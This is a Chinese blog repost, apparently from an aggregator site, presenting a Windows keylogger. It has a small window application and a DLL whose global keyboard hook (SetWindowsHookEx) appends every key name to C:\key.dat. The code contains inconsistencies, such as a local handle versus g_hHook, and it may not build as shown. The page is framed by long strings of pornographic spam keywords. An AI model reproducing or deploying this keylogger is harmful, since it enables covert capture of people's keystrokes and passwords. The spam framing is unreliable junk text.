日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > windows >内容正文

windows

windows应用程序的开发一个键盘记录器

發(fā)布時(shí)間:2023/12/18 windows 46 豆豆
生活随笔 收集整理的這篇文章主要介紹了 windows应用程序的开发一个键盘记录器 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

一 .創(chuàng)建一個(gè)C工程,添加一個(gè)CPP文件

名字隨便起

#include <Windows.h>extern "C" __declspec(dllimport) BOOL InstallHook();extern "C" __declspec(dllimport) BOOL UninstallHook();#pragma comment(lib, "kb.lib")LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam); int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPreInstance, LPSTR lpCmdLine, int nCmdShow) {TCHAR szAppClassName[] = TEXT("Dajun");WNDCLASS wc = { 0 };wc.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);wc.hCursor = LoadCursor(NULL, IDC_ARROW);wc.hInstance = hInstance;wc.lpfnWndProc = WindowProc;wc.lpszClassName = szAppClassName;wc.style = CS_HREDRAW | CS_VREDRAW;RegisterClass(&wc);HWND hWnd = CreateWindow(szAppClassName,TEXT("鍵盤記錄器"),WS_OVERLAPPEDWINDOW,400,200,100, 100,NULL,NULL,hInstance,NULL);ShowWindow(hWnd, SW_SHOW);UpdateWindow(hWnd);MSG msg;while (GetMessage(&msg, NULL, 0, 0)){TranslateMessage(&msg);DispatchMessage(&msg);}return 0; }LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {switch (uMsg){case WM_CREATE:InstallHook();break;case WM_CLOSE:DestroyWindow(hWnd);case WM_DESTROY:UninstallHook();PostQuitMessage(0);break;default:break;}return DefWindowProc(hWnd, uMsg, wParam, lParam);}

第二部 創(chuàng)建一個(gè)動(dòng)態(tài)dll庫工程,空項(xiàng)目

#include "kb.h" #include <stdio.h>BOOL InstallHook() {HHOOK hHook=SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle(L"kb"),0);if (g_hHook == NULL){return FALSE;}return TRUE; } BOOL UninstallHook() {return UnhookWindowsHookEx(g_hHook); } LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) {FILE* fp = fopen("C:\\key.dat", "a");if (fp == NULL)return CallNextHookEx(g_hHook, code, wParam, lParam);if (code < 0 || code == HC_NOREMOVE)return CallNextHookEx(g_hHook, code, wParam, lParam);if (lParam & 0x40000000)return CallNextHookEx(g_hHook, code, wParam, lParam);char szKeyName[100] = { 0 };GetKeyNameTextA(lParam,szKeyName,100);//寫入文件fwrite(szKeyName,1,strlen(szKeyName),fp);//關(guān)閉fclose(fp);return CallNextHookEx(g_hHook, code, wParam, lParam); }

總結(jié)

以上是生活随笔為你收集整理的windows应用程序的开发一个键盘记录器的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 国产精品1000部啪视频 | 香蕉久久精品日日躁夜夜躁 | 日韩精品极品视频在线观看免费 | 九草av| 国产在线123 | 欧美理论视频 | 国产精品一区无码 | 精品国产一区二区三 | 日本久久久久 | 国产吞精囗交免费视频 | 久久精久久 | xxxxx在线观看 | 一级视频在线 | 日韩高清免费av | 色播视频在线播放 | 少妇人妻无码专区视频 | 我的邻居在线观看 | 日本一级理论片在线大全 | 午夜精品剧场 | 福利视频在线播放 | 床戏高潮呻吟声片段 | 久热国产在线 | 国产中文视频 | 亚洲一区二区自拍偷拍 | 好色av | 国产一级伦理片 | 高潮喷水一区二区三区 | 日本大尺度吃奶做爰视频 | 男女超爽视频免费播放 | 国产免费黄色小视频 | 善良的老师伦理bd中字 | 成人刺激视频 | 九色.com| 激情六月丁香 | 朝桐光一区二区三区 | 曰批又黄又爽免费视频 | 精品黄色 | 波多野结衣中文在线 | 欧美精品一区二区在线观看 | 色哟哟视频网站 | 欧美xxx性| 色网站免费看 | 绝顶高潮合集videos | 黄色小视频免费 | 中文在线www | 日日色av | 人妻少妇偷人精品无码 | 日本免费一区二区三区四区五六区 | 波多野结衣1区2区3区 | 日韩精品无码一区二区 | 亚洲黄网站在线观看 | 欧美三级电影在线观看 | 亚洲偷偷自拍 | 国产成人精品一区二区三区在线观看 | 欧美男女交配视频 | 久草国产精品视频 | 国产尤物在线视频 | 成人交配视频 | 999久久久 | 色噜噜狠狠成人中文 | 久久精品成人一区二区三区蜜臀 | 久久韩国| 国产激情一区二区三区在线观看 | 国产一区二区三区视频免费观看 | 亚洲熟女一区二区三区 | 人妻少妇一区二区三区 | 特黄色大片 | 中文字幕一区二区三区在线播放 | 精品无码一区二区三区免费 | aaa在线播放 | 国产成人在线免费视频 | 亚洲熟妇中文字幕五十中出 | 亚洲涩涩 | 一区二区欧美精品 | 国产三级久久久久 | 欧美日本在线观看 | 91av俱乐部 | a一级黄色 | 狼人精品一区二区三区在线 | 国产精品第1页 | 牛牛免费视频 | 国产精品羞羞答答 | 国产一级特黄 | 国产精品美女www | 少妇人妻偷人精品无码视频 | 亚洲欧美伦理 | 国产高清视频一区 | 艳母日本动漫在线观看 | 日韩一区免费观看 | 国产精品免费看片 | 精品69 | 小俊大肉大捧一进一出好爽 | 色婷视频 | 国产乱国产乱300精品 | 欧美大片在线播放 | 国产精品1区 | 亚洲精品动漫在线观看 | 在线免费观看av的网站 | 日韩中文字幕在线观看视频 |